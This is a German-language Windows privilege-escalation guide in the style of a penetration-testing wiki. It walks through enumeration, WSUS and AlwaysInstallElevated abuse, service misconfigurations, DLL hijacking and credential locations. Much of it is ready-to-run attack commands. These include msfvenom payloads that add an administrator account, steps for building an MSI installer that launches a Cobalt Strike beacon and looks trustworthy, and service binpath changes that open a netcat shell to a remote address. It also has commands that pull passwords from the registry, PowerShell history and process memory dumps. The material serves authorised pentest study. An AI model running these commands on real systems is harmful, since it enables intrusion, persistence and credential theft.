Es gibt verschiedene Dinge in Windows, die dich daran hindern könnten, das System zu enumerieren, ausführbare Dateien auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und alle diese Verteidigungs mechanismen enumerieren, bevor du mit der privilege escalation enumeration beginnst:

{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}

Systeminformationen

Versionsinfo-Enumeration

Überprüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Versions-Exploits

This site ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu finden.

Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die enorme Angriffsfläche, die eine Windows-Umgebung bietet.

Auf dem System

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
watson
winpeas (Winpeas hat watson eingebettet)

Lokal mit Systeminformationen

GitHub-Repos mit Exploits:

Umgebung

Sind irgendwelche credential/Juicy-Informationen in den env variables gespeichert?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell-Verlauf

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell-Transkriptdateien

Sie erfahren, wie Sie dies aktivieren, unter https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Details von PowerShell-Pipeline-Ausführungen werden aufgezeichnet und umfassen ausgeführte Befehle, Befehlsaufrufe und Teile von Skripten. Vollständige Ausführungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht erfasst.

Um dies zu aktivieren, folgen Sie den Anweisungen im Abschnitt "Transcript files" der Dokumentation und wählen "Module Logging" anstelle von "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Um die letzten 15 Ereignisse aus den Powershell-Logs anzuzeigen, können Sie Folgendes ausführen:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Ein vollständiger Aktivitäts- und Inhaltsdatensatz der Skriptausführung wird erfasst, wodurch jeder Codeblock während seiner Ausführung dokumentiert wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für Forensik und die Analyse bösartiger Vorgänge wertvoll ist. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf ermöglicht.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Protokollierungsereignisse für das Script Block befinden sich im Windows Event Viewer unter dem Pfad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet-Einstellungen

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Laufwerke

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Sie können das System kompromittieren, wenn die Updates nicht über httpS, sondern über http angefordert werden.

Sie beginnen damit, zu prüfen, ob das Netzwerk ein non-SSL WSUS-Update verwendet, indem Sie in cmd Folgendes ausführen:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oder das Folgende in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Wenn du eine Antwort wie eine der folgenden erhältst:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Und wenn HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer oder Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gleich 1 ist.

Dann ist es ausnutzbar. Wenn der letzte Registrierungswert gleich 0 ist, wird der WSUS-Eintrag ignoriert.

Um diese Schwachstelle auszunutzen, können Sie Tools wie verwenden: Wsuxploit, pyWSUS — das sind MiTM-weaponized Exploit-Skripte, um 'fake' Updates in non-SSL WSUS-Traffic zu injizieren.

Read the research here:

{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Updates den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir daher die Möglichkeit, PyWSUS lokal auszuführen, um unseren eigenen Traffic abzufangen und Code als erhöhter Benutzer auf unserem System auszuführen.

Außerdem verwendet der WSUS-Dienst, da er die Einstellungen des aktuellen Benutzers nutzt, auch dessen Zertifikatspeicher. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostname erzeugen und dieses Zertifikat in den Zertifikatspeicher des aktuellen Benutzers einfügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Traffic abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine trust-on-first-use‑artige Validierung des Zertifikats zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den korrekten Hostnamen enthält, wird es vom Dienst akzeptiert.

You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).

KrbRelayUp

Eine local privilege escalation Schwachstelle existiert in Windows domain-Umgebungen unter bestimmten Bedingungen. Diese Bedingungen umfassen Umgebungen, in denen LDAP signing is not enforced, Benutzer Rechte besitzen, die es ihnen erlauben, Resource-Based Constrained Delegation (RBCD) zu konfigurieren, und die Möglichkeit besteht, dass Benutzer Computer innerhalb der Domain erstellen. Es ist wichtig zu beachten, dass diese Voraussetzungen mit Standardeinstellungen erfüllt sind.

Den Exploit finden Sie unter https://github.com/Dec0ne/KrbRelayUp

Für weitere Informationen zum Ablauf des Angriffs siehe https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Wenn diese 2 Registrierungseinträge aktiviert sind (Wert ist 0x1), dann können Benutzer mit beliebigen Rechten *.msi-Dateien als NT AUTHORITY\SYSTEM installieren (ausführen).

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Wenn du eine meterpreter-Session hast, kannst du diese Technik mit dem Modul exploit/windows/local/always_install_elevated automatisieren

PowerUP

Verwende den Befehl Write-UserAddMSI von power-up, um im aktuellen Verzeichnis ein Windows-MSI-Binary zu erstellen, um Privilegien zu eskalieren. Dieses Skript schreibt einen vorkompilierten MSI-Installer, der nach dem Hinzufügen eines Benutzers/einer Gruppe fragt (du wirst also GIU-Zugriff benötigen):

Write-UserAddMSI

Führe einfach das erstellte binary aus, um Privilegien zu erhöhen.

MSI Wrapper

Lies dieses Tutorial, um zu lernen, wie man einen MSI-Wrapper mit diesen Tools erstellt. Beachte, dass du eine ".bat" Datei wrappen kannst, wenn du nur Befehlszeilen ausführen möchtest

{{#ref}} msi-wrapper.md {{#endref}}

MSI mit WIX erstellen

{{#ref}} create-msi-with-wix.md {{#endref}}

MSI mit Visual Studio erstellen

Generiere mit Cobalt Strike oder Metasploit ein neues Windows EXE TCP payload in C:\privesc\beacon.exe
Öffne Visual Studio, wähle Create a new project und tippe "installer" in das Suchfeld. Wähle das Setup Wizard-Projekt und klicke Next.
Gib dem Projekt einen Namen, wie AlwaysPrivesc, verwende C:\privesc für den Speicherort, wähle place solution and project in the same directory, und klicke Create.
Klicke weiter auf Next, bis du Schritt 3 von 4 erreichst (choose files to include). Klicke Add und wähle das gerade erzeugte Beacon payload aus. Dann klicke Finish.
Markiere das AlwaysPrivesc-Projekt im Solution Explorer und ändere in den Properties TargetPlatform von x86 auf x64.
Es gibt weitere Properties, die du ändern kannst, wie Author und Manufacturer, was die installierte App seriöser erscheinen lassen kann.
Rechtsklicke das Projekt und wähle View > Custom Actions.
Rechtsklicke Install und wähle Add Custom Action.
Doppelklicke auf Application Folder, wähle deine beacon.exe-Datei und klicke OK. Dadurch wird sichergestellt, dass das Beacon payload ausgeführt wird, sobald der Installer gestartet wird.
Unter den Custom Action Properties ändere Run64Bit auf True.
Schließlich baue es.
Wenn die Warnung File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' angezeigt wird, stelle sicher, dass du die Plattform auf x64 gesetzt hast.

MSI-Installation

Um die Installation der bösartigen .msi-Datei im Hintergrund auszuführen:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Um diese Schwachstelle auszunutzen, können Sie verwenden: exploit/windows/local/always_install_elevated

Antivirus und Detektoren

Audit-Einstellungen

Diese Einstellungen bestimmen, was protokolliert wird, daher sollten Sie darauf achten

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, es ist interessant zu wissen, wohin die logs gesendet werden.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS ist für die Verwaltung lokaler Administrator-Passwörter konzipiert und stellt sicher, dass jedes Passwort auf Domänen-Computern einzigartig, zufällig und regelmäßig aktualisiert wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen erteilt wurden, sodass sie lokale Admin-Passwörter bei Berechtigung einsehen können.

{{#ref}} ../active-directory-methodology/laps.md {{#endref}}

WDigest

Wenn aktiviert, werden Klartext-Passwörter im LSASS (Local Security Authority Subsystem Service) gespeichert.
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Ab Windows 8.1 hat Microsoft den Schutz der Local Security Authority (LSA) verstärkt, um Versuche von nicht vertrauenswürdigen Prozessen zu blockieren, ihren Speicher auszulesen oder Code zu injizieren und so das System weiter abzusichern.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard wurde mit Windows 10 eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten Anmeldeinformationen vor Bedrohungen wie pass-the-hash-Angriffen zu schützen.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials werden von der Local Security Authority (LSA) authentifiziert und von Betriebssystemkomponenten genutzt. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheitspaket authentifiziert werden, werden für den Benutzer typischerweise domain credentials erstellt.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Benutzer & Gruppen

Benutzer & Gruppen auflisten

Du solltest prüfen, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegierte Gruppen

Wenn Sie zu einer privilegierten Gruppe gehören, können Sie möglicherweise Privilegien eskalieren. Erfahren Sie hier mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren:

{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}

Token-Manipulation

Erfahren Sie auf dieser Seite mehr darüber, was ein token ist: Windows Tokens.
Sehen Sie sich die folgende Seite an, um mehr über interessante tokens zu erfahren und wie man sie missbraucht:

{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}

Angemeldete Benutzer / Sitzungen

qwinsta
klist sessions

Home-Ordner

dir C:\Users
Get-ChildItem C:\Users

Passwort-Richtlinie

net accounts

Inhalt der Zwischenablage abrufen

powershell -command "Get-Clipboard"

Laufende Prozesse

Datei- und Ordnerberechtigungen

Zuerst: Beim Auflisten der Prozesse auf Passwörter in der Befehlszeile des Prozesses prüfen.
Prüfe, ob du eine laufende binary überschreiben kannst oder ob du Schreibrechte am binary-Ordner hast, um mögliche DLL Hijacking attacks auszunutzen:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Prüfe immer auf mögliche electron/cef/chromium debuggers laufen, du könntest sie missbrauchen, um escalate privileges.

Überprüfen der Berechtigungen der Binärdateien von Prozessen

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Überprüfen der Berechtigungen der Ordner der Prozess-Binärdateien (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Sie können einen memory dump eines laufenden Prozesses mit procdump von sysinternals erstellen.

Dienste wie FTP haben die credentials in clear text in memory. Versuchen Sie, den memory dump zu erstellen und die credentials auszulesen.

procdump.exe -accepteula -ma <proc_name_tasklist>

Unsichere GUI-Apps

Anwendungen, die als SYSTEM laufen, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.

Beispiel: "Windows Help and Support" (Windows + F1), suche nach "command prompt", klicke auf "Click to open Command Prompt"

Dienste

Liste der Dienste abrufen:

net start
wmic service list brief
sc query
Get-Service

Berechtigungen

Du kannst sc verwenden, um Informationen zu einem Dienst zu erhalten

sc qc <service_name>

Es wird empfohlen, das binary accesschk von Sysinternals zu haben, um die erforderliche Berechtigungsstufe für jeden Dienst zu prüfen.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Es wird empfohlen zu prüfen, ob "Authenticated Users" irgendeinen Dienst ändern können:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Dienst aktivieren

Wenn Sie diesen Fehler haben (zum Beispiel bei SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Sie können es wie folgt aktivieren

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Beachte, dass der service upnphost auf SSDPSRV angewiesen ist, um zu funktionieren (für XP SP1)

Eine weitere Umgehung dieses Problems ist das Ausführen von:

sc.exe config usosvc start= auto

Dienst-Binärpfad ändern

Wenn die Gruppe "Authenticated users" über SERVICE_ALL_ACCESS auf einen Dienst verfügt, ist eine Änderung der ausführbaren Binärdatei des Dienstes möglich. Um sc zu ändern und auszuführen:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Dienst neu starten

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegien können durch verschiedene Berechtigungen eskaliert werden:

SERVICE_CHANGE_CONFIG: Ermöglicht die Neukonfiguration der ausführbaren Datei des Dienstes.
WRITE_DAC: Ermöglicht die Änderung von Berechtigungen, wodurch Service-Konfigurationen verändert werden können.
WRITE_OWNER: Ermöglicht den Erwerb des Eigentums und die Änderung von Berechtigungen.
GENERIC_WRITE: Vererbt die Fähigkeit, Service-Konfigurationen zu ändern.
GENERIC_ALL: Vererbt ebenfalls die Fähigkeit, Service-Konfigurationen zu ändern.

Zur Erkennung und Ausnutzung dieser Schwachstelle kann das Modul exploit/windows/local/service_permissions verwendet werden.

Schwache Berechtigungen von Service-Binaries

Prüfe, ob du die Binärdatei, die von einem Service ausgeführt wird, verändern kannst oder ob du Schreibrechte auf den Ordner hast, in dem die Binärdatei liegt (DLL Hijacking).
Du kannst jede binäre Datei, die von einem Service ausgeführt wird, mit wmic (nicht in system32) ermitteln und deine Berechtigungen mit icacls prüfen:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Sie können auch sc und icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

Du solltest überprüfen, ob du irgendein service registry ändern kannst.
Du kannst deine permissions auf einem service registry prüfen, indem du:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Es sollte überprüft werden, ob Authenticated Users oder NT AUTHORITY\INTERACTIVE FullControl-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte binary verändert werden.

Um den Path der ausgeführten binary zu ändern:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:

{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}

Unquoted Service Paths

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Liste alle unquoted service paths auf, ausgenommen diejenigen, die zu integrierten Windows-Diensten gehören:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Du kannst diese Schwachstelle erkennen und exploit mit metasploit: exploit/windows/local/trusted\_service\_path Du kannst manuell eine Service-Binärdatei mit metasploit erstellen:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Wiederherstellungsaktionen

Windows ermöglicht es Benutzern, Aktionen anzugeben, die ausgeführt werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, könnte privilege escalation möglich sein. Weitere Details finden Sie in der offiziellen Dokumentation.

Anwendungen

Installierte Anwendungen

Prüfen Sie die Berechtigungen der binaries (vielleicht können Sie eines überschreiben und escalate privileges) und die der Ordner (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Schreibberechtigungen

Überprüfe, ob du eine Konfigurationsdatei so ändern kannst, dass du eine spezielle Datei lesen kannst, oder ob du ein binary ändern kannst, das von einem Administrator-Konto ausgeführt wird (schedtasks).

Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Beim Systemstart ausführen

Prüfe, ob du einen Registry-Eintrag oder eine Binary überschreiben kannst, die von einem anderen Benutzer ausgeführt wird.
Lies die folgende Seite, um mehr über interessante autoruns locations to escalate privileges zu erfahren:

{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}

Treiber

Suche nach möglichen third party weird/vulnerable Treibern

driverquery
driverquery.exe /fo table
driverquery /SI

Wenn ein Treiber ein arbitrary kernel read/write primitive offenlegt (häufig bei schlecht gestalteten IOCTL-Handlern), kannst du die Privilegien eskalieren, indem du einen SYSTEM token direkt aus dem kernel memory stiehlst. Siehe die Schritt‑für‑Schritt‑Technik hier:

{{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}}

PATH DLL Hijacking

Wenn du Schreibrechte in einem im PATH enthaltenen Ordner hast, könntest du eine von einem Prozess geladene DLL hijacken und damit Privilegien eskalieren.

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Weitere Informationen dazu, wie diese Prüfung ausgenutzt werden kann:

{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}

Netzwerk

Freigaben

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts-Datei

Prüfe auf weitere bekannte Computer, die in der hosts-Datei fest eingetragen sind.

type C:\Windows\System32\drivers\etc\hosts

Netzwerkschnittstellen & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Prüfe von außen auf restricted services

netstat -ano #Opened ports?

Routingtabelle

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP-Tabelle

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall-Regeln

Check this page for Firewall related commands (Regeln auflisten, Regeln erstellen, deaktivieren, deaktivieren...)

Mehr commands for network enumeration here

Windows-Subsystem für Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Die Binärdatei bash.exe kann auch in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe gefunden werden

Wenn Sie root-Rechte erlangen, können Sie auf jedem Port lauschen (das erste Mal, wenn Sie nc.exe verwenden, um auf einem Port zu lauschen, fragt die GUI, ob nc durch die Firewall zugelassen werden soll).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Um bash einfach als root zu starten, kannst du --default-user root verwenden.

Du kannst das WSL-Dateisystem im Ordner C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ erkunden.

Windows-Anmeldeinformationen

Winlogon-Anmeldeinformationen

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Anmeldeinformations-Manager / Windows Vault

Aus https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, mit denen Windows die Benutzer automatisch anmelden kann. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer ihre Facebook-, Twitter- oder Gmail-Anmeldedaten usw. dort speichern, sodass sie sich automatisch über Browser einloggen. Das ist jedoch nicht der Fall.

Der Windows Vault speichert Anmeldeinformationen, mit denen Windows die Benutzer automatisch anmelden kann, was bedeutet, dass jede Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource (Server oder eine Website) zuzugreifen, diesen Credential Manager & Windows Vault nutzen kann und die gespeicherten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzername und Passwort eingeben müssen.

